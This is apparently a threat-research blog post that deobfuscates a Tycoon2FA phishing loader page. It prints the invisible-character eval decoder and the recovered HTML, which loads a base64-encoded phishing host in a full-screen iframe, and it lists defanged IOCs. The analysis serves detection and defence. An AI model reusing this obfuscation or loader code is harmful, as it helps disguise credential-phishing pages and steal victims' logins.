Tycoon2FA Deobfuscation
Tycoon2FA is a phishing-as-a-service that is used to collect Microsoft and Google credentials.
Recently Tycoon2FA has introduced a new method for their fake Google login. This new method uses an iframe to wrap around what was previously used as their main domains. As part of this new loader page there is an esoteric obfuscation mechanism. Here I will attempt to describe how this obfuscation works.
Loader Page
Previously when a victim is on a Tycoon2FA page, the host in the URL seen at the top of the browser is the same host that provides the various assets like HTML and Javascript used to render the captcha and fake login. Now with this variation, the URL at the top is just a loader that contains an iframe. Here is a recent sample found on urlscan.
The index.html for this loader page consists of the HTML <head>
,
some simple <script>
, some weird Javascript, then lots of lines
of weird characters, then finally the closing <script>
.
There does not appear to be anything there to render a fake Google login with captcha. So clearly the weird characters must be hiding something.
Script Analysis
From the index.html
it’s safe to guess that this single line Javascript will
somehow decode the weird characters.
s="";for(let dL=0;dL<4**7;++dL)Reflect.defineProperty(self,[...dL.toString(4).padStart(7)].map(n=>"ᅟᅠㅤᅠ"[+n]).join(""),{get(){ dL?s+=String.fromCharCode(dL>>7,dL&127):eval(s)}})
Let’s start with a little bit of formatting.
s="";
for (let dL=0;dL<4**7;++dL) Reflect.defineProperty(self,
[...dL.toString(4).padStart(7)].map(n=>"ᅟᅠㅤᅠ"[+n]).join(""),
{get(){ dL ? s+=String.fromCharCode(dL>>7,dL&127) : eval(s)}}
)
It starts by setting the var s
to an empty string. Looking
carefully we can see a s+=
later on. So odds are that’s going to eventually
contain the decoded string.
The for
loop runs from 0
to 4**7
. **
means exponential, so this
would mean the loop runs to 4 ^ 7 or 16,384.
The loop will run Reflect.defineProperty()
16,384 times with dL starting at 0
and going to 16383. Curious.
Reflect.defineProperty()
Per the mdn web doc:
Reflect.defineProperty() provides the reflective semantic of defining an own property on an object.
It also describes the syntax as such.
Reflect.defineProperty(target, propertyKey, attributes)
So the loop appears to be creating 16,384 properties for self
.
Properties
As the loop iterates 16,384 times, it uses this to specify properties for self
.
[...dL.toString(4).padStart(7)].map(n=>"ᅟᅠㅤᅠ"[+n]).join("")
dL
will be an integer that runs from 0 to 16383.
Let’s try some dynamic analysis using node
. By copying the single line
to a test JS file, we can try out bits and pieces of the original
code. Here we’ll comment the Reflect.defineProperty()
part and use
it for inspiration. To start we can use console.log()
to watch
dL
increment and how some of the bits and pieces would look.
Output from the above testing script shows that we can create those
funky character strings. Here’s the running of the testing script
and only showing the output when dL
equals 0
.
Piping the same command to less
and searching for the first funky
line in the original index.html
shows that it’s associated with
dL
equal to 15201
.
Attributes
For each of the 16,384 properties an attribute is specified with a get()
function.
get(){ dL ? s+=String.fromCharCode(dL>>7,dL&127) : eval(s)}
This is at least more straight forward. It uses a ternary operator which is this syntax:
condition ? exprIfTrue : exprIfFalse
When dL
is 0
it will use the exprIfFalse
at the ending. For
all other integers it will use the exprIfTrue
.
The exprIfTrue
is taking dL
and cutting it into two 7-bit integers
and converting them to a character code and appending them to the s
varable.
Only grabbing two chunks of 7-bits makes sense because the loop only runs up
to 16,383 which is represented with 14-bits.
It’s safe to guess that the purpose here is to convert all the funky
lines into a string. And the last line will be a funky version of 0
which tells it to eval()
what it has concatenated all together.
Convert Funky Lines
If we copy the original index.html
again and whittle it down to just the
decoding part, it would look like this.
Now lets reformat it and prepend the original property definition
when appending to the s
variable. We don’t want to run anything decoded, so
we swap out eval
for console.log
. And because we’re running this
with node
we can’t use self
, but instead global
.
Running this testing script reveals what each of these funky lines decode to.
Each line translates to two characters. That explains for the two 7-bit integers
we saw earlier.
Combining the first seven lines we get var hackberry
!!
Decode it all
Now we want to decode the whole contents. Copying the original index.html
another time and this time only update self
to global
and eval
to console.log
we get this.
Running this testing script yields the complete contents of the hidden Javascript.
Explanation
The single line of Javascript with the Reflect.defineProperty()
creates
16,384 properties. What follows that are those very properties that when
interpreted by a Javascript engine will update the s
variable and then
eventually eval()
that s
variable. Properties are similar to variables.
Each of those funky lines are a bit like a single funky looking variable,
one after another after another.
Index Deobfuscated
Taking the original index.html
and replacing the obfuscated
section with output from above we get the complete picture.
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
</head>
<body>
<span hidden>They watched the stars twinkle in the night sky.</span>
</body>
<script>
var typha = null;
if(location.hash == ""){
location.hash = ``;
typha = ``;
}
if(location.hash !== ""){
typha = location.hash;
}
if (location.hash.includes('?')) {
typha = location.hash.replace('#', '');
}
var hackberry = document.createElement('iframe');
hackberry.sandbox.add('allow-same-origin');
hackberry.sandbox.add('allow-top-navigation');
hackberry.sandbox.add('allow-modals');
hackberry.sandbox.add('allow-scripts');
hackberry.sandbox.add('allow-popups-to-escape-sandbox');
hackberry.sandbox.add('allow-forms');
hackberry.src = atob("aHR0c"+"HM6Ly9"+'sZTUuZGV'+"yaXZpb"+"mc2LmNv"+`bS82RH`+`dHbHVKM`+'VNzOVBuWGN'+`mWExjT`+`EZjd2c1Lw`+`==`)+typha;
hackberry.style.cssText = 'position: fixed; inset: 0px; width: 100%; height: 100%; border: 0px; margin: 0px;padding: 0px; overflow: hidden; z-index: 999999;';
document.write(hackberry);
document.body.innerHTML = "";
document.body.appendChild(hackberry);
</script>
</html>
IOCs
caioba.com
hXXps://caioba[.]com/cg/index.html
References
https://urlscan.io/result/28d9ba79-b83a-4eb4-ae87-f903560aec88